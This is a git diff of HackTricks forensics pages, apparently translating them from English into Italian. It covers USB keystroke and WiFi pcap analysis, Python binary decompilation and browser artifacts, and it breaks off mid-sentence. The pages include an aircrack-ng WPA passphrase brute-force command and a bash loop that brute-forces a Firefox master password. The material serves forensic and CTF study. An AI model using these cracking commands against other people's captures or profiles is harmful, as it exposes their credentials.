- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md index 9f63fbab3..a4314b686 100644 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md +++ b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md @@ -1,12 +1,12 @@ {{#include ../../../banners/hacktricks-training.md}} -If you have a pcap of a USB connection with a lot of Interruptions probably it is a USB Keyboard connection. +Se hai un pcap di una connessione USB con molte interruzioni, probabilmente si tratta di una connessione USB Keyboard. -A wireshark filter like this could be useful: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)` +Un filtro wireshark come questo potrebbe essere utile: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)` -It could be important to know that the data that starts with "02" is pressed using shift. +È importante sapere che i dati che iniziano con "02" sono stati premuti utilizzando il tasto shift. -You can read more information and find some scripts about how to analyse this in: +Puoi leggere ulteriori informazioni e trovare alcuni script su come analizzare questo in: - [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) - [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md index 9c3dba419..8e01ff004 100644 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md +++ b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md @@ -1,17 +1,15 @@ {{#include ../../../banners/hacktricks-training.md}} -If you have a pcap containing the communication via USB of a keyboard like the following one: +Se hai un pcap che contiene la comunicazione tramite USB di una tastiera come la seguente: ![](<../../../images/image (613).png>) -You can use the tool [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) to get what was written in the communication: - +Puoi utilizzare lo strumento [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) per ottenere ciò che è stato scritto nella comunicazione: ```bash tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt python3 usbkeyboard.py ./keystrokes.txt ``` - -You can read more information and find some scripts about how to analyse this in: +Puoi leggere ulteriori informazioni e trovare alcuni script su come analizzare questo in: - [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) - [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md index 36413cf70..e3cd12359 100644 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md +++ b/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md @@ -1,8 +1,8 @@ {{#include ../../../banners/hacktricks-training.md}} -# Check BSSIDs +# Controlla i BSSID -When you receive a capture whose principal traffic is Wifi using WireShark you can start investigating all the SSIDs of the capture with _Wireless --> WLAN Traffic_: +Quando ricevi una cattura il cui traffico principale è Wifi utilizzando WireShark, puoi iniziare a investigare tutti gli SSID della cattura con _Wireless --> WLAN Traffic_: ![](<../../../images/image (424).png>) @@ -10,31 +10,29 @@ When you receive a capture whose principal traffic is Wifi using WireShark you c ## Brute Force -One of the columns of that screen indicates if **any authentication was found inside the pcap**. If that is the case you can try to Brute force it using `aircrack-ng`: - +Una delle colonne di quella schermata indica se **è stata trovata qualche autenticazione all'interno del pcap**. Se è così, puoi provare a forzarlo con `aircrack-ng`: ```bash aircrack-ng -w pwds-file.txt -b file.pcap ``` +Ad esempio, recupererà la passphrase WPA che protegge un PSK (pre shared-key), necessaria per decrittografare il traffico in seguito. -For example it will retrieve the WPA passphrase protecting a PSK (pre shared-key), that will be required to decrypt the trafic later. +# Dati nei Beacon / Canale Laterale -# Data in Beacons / Side Channel +Se sospetti che **i dati vengano trasmessi all'interno dei beacon di una rete Wifi**, puoi controllare i beacon della rete utilizzando un filtro come il seguente: `wlan contains `, o `wlan.ssid == "NAMEofNETWORK"` cerca all'interno dei pacchetti filtrati stringhe sospette. -If you suspect that **data is being leaked inside beacons of a Wifi network** you can check the beacons of the network using a filter like the following one: `wlan contains `, or `wlan.ssid == "NAMEofNETWORK"` search inside the filtered packets for suspicious strings. +# Trova Indirizzi MAC Sconosciuti in una Rete Wifi -# Find Unknown MAC Addresses in A Wifi Network - -The following link will be useful to find the **machines sending data inside a Wifi Network**: +Il seguente link sarà utile per trovare le **macchine che inviano dati all'interno di una rete Wifi**: - `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` -If you already know **MAC addresses you can remove them from the output** adding checks like this one: `&& !(wlan.addr==5c:51:88:31:a0:3b)` +Se già conosci **gli indirizzi MAC puoi rimuoverli dall'output** aggiungendo controlli come questo: `&& !(wlan.addr==5c:51:88:31:a0:3b)` -Once you have detected **unknown MAC** addresses communicating inside the network you can use **filters** like the following one: `wlan.addr== && (ftp || http || ssh || telnet)` to filter its traffic. Note that ftp/http/ssh/telnet filters are useful if you have decrypted the traffic. +Una volta che hai rilevato **indirizzi MAC sconosciuti** che comunicano all'interno della rete, puoi utilizzare **filtri** come il seguente: `wlan.addr== && (ftp || http || ssh || telnet)` per filtrare il suo traffico. Nota che i filtri ftp/http/ssh/telnet sono utili se hai decrittografato il traffico. -# Decrypt Traffic +# Decrittografa il Traffico -Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit +Modifica --> Preferenze --> Protocolli --> IEEE 802.11--> Modifica ![](<../../../images/image (426).png>) diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md index ec397e99a..b8a366a9d 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md @@ -1,77 +1,61 @@ -# Decompile compiled python binaries (exe, elf) - Retreive from .pyc +# Decompilare i binari python compilati (exe, elf) - Recuperare da .pyc {{#include ../../../banners/hacktricks-training.md}} -
-**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -## From Compiled Binary to .pyc - -From an **ELF** compiled binary you can **get the .pyc** with: +## Da binario compilato a .pyc +Da un binario compilato **ELF** puoi **ottenere il .pyc** con: ```bash pyi-archive_viewer # The list of python modules will be given here: [(0, 230, 311, 1, 'm', 'struct'), - (230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), - (1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), - (5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), - (10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), - (12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), - (13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), - (13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), - (15090, 445, 672, 1, 's', 'pyi_rth_inspect'), - (15535, 2514, 4421, 1, 's', 'binary_name'), +(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), +(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), +(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), +(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), +(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), +(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), +(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), +(15090, 445, 672, 1, 's', 'pyi_rth_inspect'), +(15535, 2514, 4421, 1, 's', 'binary_name'), ... ? X binary_name to filename? /tmp/binary.pyc ``` - -In a **python exe binary** compiled you can **get the .pyc** by running: - +In un **eseguibile binario python** compilato puoi **ottenere il .pyc** eseguendo: ```bash python pyinstxtractor.py executable.exe ``` +## Da .pyc a codice python -## From .pyc to python code - -For the **.pyc** data ("compiled" python) you should start trying to **extract** the **original** **python** **code**: - +Per i dati **.pyc** ("compilato" python) dovresti iniziare a provare a **estrarre** il **codice** **python** **originale**: ```bash uncompyle6 binary.pyc > decompiled.py ``` +**Assicurati** che il file binario abbia l'**estensione** "**.pyc**" (in caso contrario, uncompyle6 non funzionerà) -**Be sure** that the binary has the **extension** "**.pyc**" (if not, uncompyle6 is not going to work) - -While executing **uncompyle6** you might find the **following errors**: - -### Error: Unknown magic number 227 +Durante l'esecuzione di **uncompyle6** potresti trovare i **seguenti errori**: +### Errore: Numero magico sconosciuto 227 ```bash /kali/.local/bin/uncompyle6 /tmp/binary.pyc Unknown magic number 227 in /tmp/binary.pyc ``` +Per risolvere questo problema è necessario **aggiungere il numero magico corretto** all'inizio del file generato. -To fix this you need to **add the correct magic number** at the beginning of the generated file. - -**Magic numbers vary with the python version**, to get the magic number of **python 3.8** you will need to **open a python 3.8** terminal and execute: - +**I numeri magici variano con la versione di python**, per ottenere il numero magico di **python 3.8** è necessario **aprire un terminale python 3.8** ed eseguire: ``` >> import imp >> imp.get_magic().hex() '550d0d0a' ``` +Il **numero magico** in questo caso per python3.8 è **`0x550d0d0a`**, quindi, per risolvere questo errore dovrai **aggiungere** all'**inizio** del **file .pyc** i seguenti byte: `0x0d550a0d000000000000000000000000` -The **magic number** in this case for python3.8 is **`0x550d0d0a`**, then, to fix this error you will need to **add** at the **beginning** of the **.pyc file** the following bytes: `0x0d550a0d000000000000000000000000` - -**Once** you have **added** that magic header, the **error should be fixed.** - -This is how a correctly added **.pyc python3.8 magic header** will look like: +**Una volta** che hai **aggiunto** quell'intestazione magica, l'**errore dovrebbe essere risolto.** +Ecco come apparirà un **intestazione magica .pyc python3.8** correttamente aggiunta: ```bash hexdump 'binary.pyc' | head 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 @@ -79,25 +63,23 @@ hexdump 'binary.pyc' | head 0000020 0700 0000 4000 0000 7300 0132 0000 0064 0000030 0164 006c 005a 0064 0164 016c 015a 0064 ``` +### Errore: Decompilazione errori generici -### Error: Decompiling generic errors +**Altri errori** come: `class 'AssertionError'>; co_code dovrebbe essere uno dei tipi (, , , ); è di tipo ` possono apparire. -**Other errors** like: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` may appear. +Questo probabilmente significa che **non hai aggiunto correttamente** il numero magico o che non hai **usato** il **numero magico corretto**, quindi assicurati di usare quello corretto (o prova uno nuovo). -This probably means that you **haven't added correctly** the magic number or that you haven't **used** the **correct magic number**, so make **sure you use the correct one** (or try a new one). +Controlla la documentazione degli errori precedenti. -Check the previous error documentation. +## Strumento Automatico -## Automatic Tool +Il [**tool python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) funge da combinazione di diversi strumenti disponibili nella comunità progettati per assistere i ricercatori nello smontaggio e nella decompilazione di eseguibili scritti in Python, specificamente quelli creati con py2exe e pyinstaller. Include regole YARA per identificare se un eseguibile è basato su Python e conferma lo strumento di creazione. -The [**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker) serves as a combination of several community-available tools designed to assist researchers in unpacking and decompiling executables written in Python, specifically those created with py2exe and pyinstaller. It includes YARA rules to identify if an executable is Python-based and confirms the creation tool. +### ImportError: Nome file: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' non esiste -### ImportError: File name: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' doesn't exist - -A common issue encountered involves an incomplete Python bytecode file resulting from the **unpacking process with unpy2exe or pyinstxtractor**, which then **fails to be recognized by uncompyle6 due to a missing Python bytecode version number**. To address this, a prepend option has been added, which appends the necessary Python bytecode version number, facilitating the decompiling process. - -Example of the issue: +Un problema comune riscontrato riguarda un file di bytecode Python incompleto risultante dal **processo di smontaggio con unpy2exe o pyinstxtractor**, che poi **non viene riconosciuto da uncompyle6 a causa di un numero di versione di bytecode Python mancante**. Per affrontare questo problema, è stata aggiunta un'opzione di prepend, che aggiunge il numero di versione di bytecode Python necessario, facilitando il processo di decompilazione. +Esempio del problema: ```python # Error when attempting to decompile without the prepend option test@test: uncompyle6 unpacked/malware_3.exe/archive.py @@ -115,11 +97,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive # Successfully decompiled file [+] Successfully decompiled. ``` +## Analizzare l'assembly di python -## Analyzing python assembly - -If you weren't able to extract the python "original" code following the previous steps, then you can try to **extract** the **assembly** (but i**t isn't very descriptive**, so **try** to extract **again** the original code).In [here](https://bits.theorem.co/protecting-a-python-codebase/) I found a very simple code to **disassemble** the _.pyc_ binary (good luck understanding the code flow). If the _.pyc_ is from python2, use python2: - +Se non sei riuscito a estrarre il codice "originale" di python seguendo i passaggi precedenti, allora puoi provare a **estrarre** l'**assembly** (ma **non è molto descrittivo**, quindi **prova** a estrarre **di nuovo** il codice originale). In [qui](https://bits.theorem.co/protecting-a-python-codebase/) ho trovato un codice molto semplice per **disassemblare** il binario _.pyc_ (buona fortuna a capire il flusso del codice). Se il _.pyc_ è di python2, usa python2: ```bash >>> import dis >>> import marshal @@ -145,34 +125,32 @@ True >>> >>> # Disassemble the code object >>> dis.disassemble(code) - 1 0 LOAD_CONST 0 () - 3 MAKE_FUNCTION 0 - 6 STORE_NAME 0 (hello_world) - 9 LOAD_CONST 1 (None) - 12 RETURN_VALUE +1 0 LOAD_CONST 0 () +3 MAKE_FUNCTION 0 +6 STORE_NAME 0 (hello_world) +9 LOAD_CONST 1 (None) +12 RETURN_VALUE >>> >>> # Also disassemble that const being loaded (our function) >>> dis.disassemble(code.co_consts[0]) - 2 0 LOAD_CONST 1 ('Hello {0}') - 3 LOAD_ATTR 0 (format) - 6 LOAD_FAST 0 (name) - 9 CALL_FUNCTION 1 - 12 PRINT_ITEM - 13 PRINT_NEWLINE - 14 LOAD_CONST 0 (None) - 17 RETURN_VALUE +2 0 LOAD_CONST 1 ('Hello {0}') +3 LOAD_ATTR 0 (format) +6 LOAD_FAST 0 (name) +9 CALL_FUNCTION 1 +12 PRINT_ITEM +13 PRINT_NEWLINE +14 LOAD_CONST 0 (None) +17 RETURN_VALUE ``` +## Python in Eseguibile -## Python to Executable +Per iniziare, ti mostreremo come i payload possono essere compilati in py2exe e PyInstaller. -To start, we’re going to show you how payloads can be compiled in py2exe and PyInstaller. - -### To create a payload using py2exe: - -1. Install the py2exe package from [http://www.py2exe.org/](http://www.py2exe.org) -2. For the payload (in this case, we will name it hello.py), use a script like the one in Figure 1. The option “bundle_files” with the value of 1 will bundle everything including the Python interpreter into one exe. -3. Once the script is ready, we will issue the command “python setup.py py2exe”. This will create the executable, just like in Figure 2. +### Per creare un payload utilizzando py2exe: +1. Installa il pacchetto py2exe da [http://www.py2exe.org/](http://www.py2exe.org) +2. Per il payload (in questo caso, lo chiameremo hello.py), utilizza uno script come quello nella Figura 1. L'opzione “bundle_files” con il valore di 1 raggrupperà tutto, incluso l'interprete Python, in un unico exe. +3. Una volta che lo script è pronto, emetteremo il comando “python setup.py py2exe”. Questo creerà l'eseguibile, proprio come nella Figura 2. ```python from distutils.core import setup import py2exe, sys, os @@ -180,10 +158,10 @@ import py2exe, sys, os sys.argv.append('py2exe') setup( - options = {'py2exe': {'bundle_files': 1}}, - #windows = [{'script': "hello.py"}], - console = [{'script': "hello.py"}], - zipfile = None, +options = {'py2exe': {'bundle_files': 1}}, +#windows = [{'script': "hello.py"}], +console = [{'script': "hello.py"}], +zipfile = None, ) ``` @@ -200,12 +178,10 @@ running py2exe copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe ``` +### Per creare un payload utilizzando PyInstaller: -### To create a payload using PyInstaller: - -1. Install PyInstaller using pip (pip install pyinstaller). -2. After that, we will issue the command “pyinstaller –onefile hello.py” (a reminder that ‘hello.py’ is our payload). This will bundle everything into one executable. - +1. Installa PyInstaller usando pip (pip install pyinstaller). +2. Dopo di che, emetteremo il comando “pyinstaller –onefile hello.py” (un promemoria che ‘hello.py’ è il nostro payload). Questo raggrupperà tutto in un unico eseguibile. ``` C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 108 INFO: PyInstaller: 3.3.1 @@ -218,15 +194,9 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe 6325 INFO: Building EXE from out00-EXE.toc completed successfully. ``` - -## References +## Riferimenti - [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/) -
- -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md index 76fa3ef23..0a68c1d3b 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md @@ -1,6 +1,6 @@ {{#include ../../../banners/hacktricks-training.md}} -Here you can find interesting tricks for specific file-types and/or software: +Qui puoi trovare trucchi interessanti per tipi di file specifici e/o software: {{#ref}} .pyc.md diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index ba35ea1fd..1c6715f8c 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -2,138 +2,128 @@ {{#include ../../../banners/hacktricks-training.md}} -
+## Browser Artifacts -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Gli artefatti del browser includono vari tipi di dati memorizzati dai browser web, come la cronologia di navigazione, i segnalibri e i dati della cache. Questi artefatti sono conservati in cartelle specifiche all'interno del sistema operativo, che differiscono per posizione e nome tra i browser, ma generalmente memorizzano tipi di dati simili. -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +Ecco un riepilogo degli artefatti del browser più comuni: -## Browsers Artifacts - -Browser artifacts include various types of data stored by web browsers, such as navigation history, bookmarks, and cache data. These artifacts are kept in specific folders within the operating system, differing in location and name across browsers, yet generally storing similar data types. - -Here's a summary of the most common browser artifacts: - -- **Navigation History**: Tracks user visits to websites, useful for identifying visits to malicious sites. -- **Autocomplete Data**: Suggestions based on frequent searches, offering insights when combined with navigation history. -- **Bookmarks**: Sites saved by the user for quick access. -- **Extensions and Add-ons**: Browser extensions or add-ons installed by the user. -- **Cache**: Stores web content (e.g., images, JavaScript files) to improve website loading times, valuable for forensic analysis. -- **Logins**: Stored login credentials. -- **Favicons**: Icons associated with websites, appearing in tabs and bookmarks, useful for additional information on user visits. -- **Browser Sessions**: Data related to open browser sessions. -- **Downloads**: Records of files downloaded through the browser. -- **Form Data**: Information entered in web forms, saved for future autofill suggestions. -- **Thumbnails**: Preview images of websites. -- **Custom Dictionary.txt**: Words added by the user to the browser's dictionary. +- **Cronologia di Navigazione**: Tiene traccia delle visite degli utenti ai siti web, utile per identificare le visite a siti malevoli. +- **Dati di Autocompletamento**: Suggerimenti basati su ricerche frequenti, offrendo informazioni quando combinati con la cronologia di navigazione. +- **Segnalibri**: Siti salvati dall'utente per un accesso rapido. +- **Estensioni e Componenti Aggiuntivi**: Estensioni del browser o componenti aggiuntivi installati dall'utente. +- **Cache**: Memorizza contenuti web (ad es., immagini, file JavaScript) per migliorare i tempi di caricamento dei siti web, prezioso per l'analisi forense. +- **Accessi**: Credenziali di accesso memorizzate. +- **Favicons**: Icone associate ai siti web, che appaiono nelle schede e nei segnalibri, utili per ulteriori informazioni sulle visite degli utenti. +- **Sessioni del Browser**: Dati relativi alle sessioni del browser aperte. +- **Download**: Registrazioni dei file scaricati tramite il browser. +- **Dati dei Moduli**: Informazioni inserite nei moduli web, salvate per future suggerimenti di autocompletamento. +- **Miniature**: Immagini di anteprima dei siti web. +- **Custom Dictionary.txt**: Parole aggiunte dall'utente al dizionario del browser. ## Firefox -Firefox organizes user data within profiles, stored in specific locations based on the operating system: +Firefox organizza i dati degli utenti all'interno dei profili, memorizzati in posizioni specifiche in base al sistema operativo: - **Linux**: `~/.mozilla/firefox/` - **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` - **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` -A `profiles.ini` file within these directories lists the user profiles. Each profile's data is stored in a folder named in the `Path` variable within `profiles.ini`, located in the same directory as `profiles.ini` itself. If a profile's folder is missing, it may have been deleted. +Un file `profiles.ini` all'interno di queste directory elenca i profili utente. I dati di ciascun profilo sono memorizzati in una cartella nominata nella variabile `Path` all'interno di `profiles.ini`, situata nella stessa directory di `profiles.ini` stesso. Se la cartella di un profilo è mancante, potrebbe essere stata eliminata. -Within each profile folder, you can find several important files: +All'interno di ciascuna cartella del profilo, puoi trovare diversi file importanti: -- **places.sqlite**: Stores history, bookmarks, and downloads. Tools like [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) on Windows can access the history data. - - Use specific SQL queries to extract history and downloads information. -- **bookmarkbackups**: Contains backups of bookmarks. -- **formhistory.sqlite**: Stores web form data. -- **handlers.json**: Manages protocol handlers. -- **persdict.dat**: Custom dictionary words. -- **addons.json** and **extensions.sqlite**: Information on installed add-ons and extensions. -- **cookies.sqlite**: Cookie storage, with [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) available for inspection on Windows. -- **cache2/entries** or **startupCache**: Cache data, accessible through tools like [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html). -- **favicons.sqlite**: Stores favicons. -- **prefs.js**: User settings and preferences. -- **downloads.sqlite**: Older downloads database, now integrated into places.sqlite. -- **thumbnails**: Website thumbnails. -- **logins.json**: Encrypted login information. -- **key4.db** or **key3.db**: Stores encryption keys for securing sensitive information. +- **places.sqlite**: Memorizza cronologia, segnalibri e download. Strumenti come [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) su Windows possono accedere ai dati della cronologia. +- Usa query SQL specifiche per estrarre informazioni sulla cronologia e sui download. +- **bookmarkbackups**: Contiene backup dei segnalibri. +- **formhistory.sqlite**: Memorizza i dati dei moduli web. +- **handlers.json**: Gestisce i gestori di protocollo. +- **persdict.dat**: Parole del dizionario personalizzato. +- **addons.json** e **extensions.sqlite**: Informazioni su componenti aggiuntivi e estensioni installati. +- **cookies.sqlite**: Memorizzazione dei cookie, con [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) disponibile per l'ispezione su Windows. +- **cache2/entries** o **startupCache**: Dati della cache, accessibili tramite strumenti come [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html). +- **favicons.sqlite**: Memorizza i favicons. +- **prefs.js**: Impostazioni e preferenze dell'utente. +- **downloads.sqlite**: Database dei download più vecchi, ora integrato in places.sqlite. +- **thumbnails**: Miniature dei siti web. +- **logins.json**: Informazioni di accesso crittografate. +- **key4.db** o **key3.db**: Memorizza le chiavi di crittografia per proteggere informazioni sensibili. -Additionally, checking the browser’s anti-phishing settings can be done by searching for `browser.safebrowsing` entries in `prefs.js`, indicating whether safe browsing features are enabled or disabled. - -To try to decrypt the master password, you can use [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\ -With the following script and call you can specify a password file to brute force: +Inoltre, controllare le impostazioni anti-phishing del browser può essere fatto cercando le voci `browser.safebrowsing` in `prefs.js`, che indicano se le funzionalità di navigazione sicura sono attivate o disattivate. +Per provare a decrittare la password principale, puoi usare [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\ +Con il seguente script e chiamata puoi specificare un file di password da forzare: ```bash:brute.sh #!/bin/bash #./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:" passfile=$1 while read pass; do - echo "Trying $pass" - echo "$pass" | python firefox_decrypt.py +echo "Trying $pass" +echo "$pass" | python firefox_decrypt.py done < $passfile ``` - ![](<../../../images/image (417).png>) ## Google Chrome -Google Chrome stores user profiles in specific locations based on the operating system: +Google Chrome memorizza i profili utente in posizioni specifiche in base al sistema operativo: - **Linux**: `~/.config/google-chrome/` - **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` - **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` -Within these directories, most user data can be found in the **Default/** or **ChromeDefaultData/** folders. The following files hold significant data: +All'interno di queste directory, la maggior parte dei dati utente può essere trovata nelle cartelle **Default/** o **ChromeDefaultData/**. I seguenti file contengono dati significativi: -- **History**: Contains URLs, downloads, and search keywords. On Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) can be used to read the history. The "Transition Type" column has various meanings, including user clicks on links, typed URLs, form submissions, and page reloads. -- **Cookies**: Stores cookies. For inspection, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) is available. -- **Cache**: Holds cached data. To inspect, Windows users can utilize [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html). -- **Bookmarks**: User bookmarks. -- **Web Data**: Contains form history. -- **Favicons**: Stores website favicons. -- **Login Data**: Includes login credentials like usernames and passwords. -- **Current Session**/**Current Tabs**: Data about the current browsing session and open tabs. -- **Last Session**/**Last Tabs**: Information about the sites active during the last session before Chrome was closed. -- **Extensions**: Directories for browser extensions and addons. -- **Thumbnails**: Stores website thumbnails. -- **Preferences**: A file rich in information, including settings for plugins, extensions, pop-ups, notifications, and more. -- **Browser’s built-in anti-phishing**: To check if anti-phishing and malware protection are enabled, run `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Look for `{"enabled: true,"}` in the output. +- **History**: Contiene URL, download e parole chiave di ricerca. Su Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) può essere utilizzato per leggere la cronologia. La colonna "Transition Type" ha vari significati, inclusi i clic dell'utente su link, URL digitati, invii di moduli e ricariche di pagina. +- **Cookies**: Memorizza i cookie. Per l'ispezione, è disponibile [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html). +- **Cache**: Contiene dati memorizzati nella cache. Per ispezionare, gli utenti Windows possono utilizzare [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html). +- **Bookmarks**: Segnalibri dell'utente. +- **Web Data**: Contiene la cronologia dei moduli. +- **Favicons**: Memorizza le favicon dei siti web. +- **Login Data**: Include le credenziali di accesso come nomi utente e password. +- **Current Session**/**Current Tabs**: Dati sulla sessione di navigazione attuale e sulle schede aperte. +- **Last Session**/**Last Tabs**: Informazioni sui siti attivi durante l'ultima sessione prima che Chrome fosse chiuso. +- **Extensions**: Directory per le estensioni e gli addon del browser. +- **Thumbnails**: Memorizza le miniature dei siti web. +- **Preferences**: Un file ricco di informazioni, incluse le impostazioni per plugin, estensioni, pop-up, notifiche e altro. +- **Browser’s built-in anti-phishing**: Per controllare se la protezione anti-phishing e malware è attivata, eseguire `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Cercare `{"enabled: true,"}` nell'output. -## **SQLite DB Data Recovery** +## **Recupero Dati SQLite DB** -As you can observe in the previous sections, both Chrome and Firefox use **SQLite** databases to store the data. It's possible to **recover deleted entries using the tool** [**sqlparse**](https://github.com/padfoot999/sqlparse) **or** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). +Come puoi osservare nelle sezioni precedenti, sia Chrome che Firefox utilizzano database **SQLite** per memorizzare i dati. È possibile **recuperare voci eliminate utilizzando lo strumento** [**sqlparse**](https://github.com/padfoot999/sqlparse) **o** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). ## **Internet Explorer 11** -Internet Explorer 11 manages its data and metadata across various locations, aiding in separating stored information and its corresponding details for easy access and management. +Internet Explorer 11 gestisce i propri dati e metadati in diverse posizioni, aiutando a separare le informazioni memorizzate e i 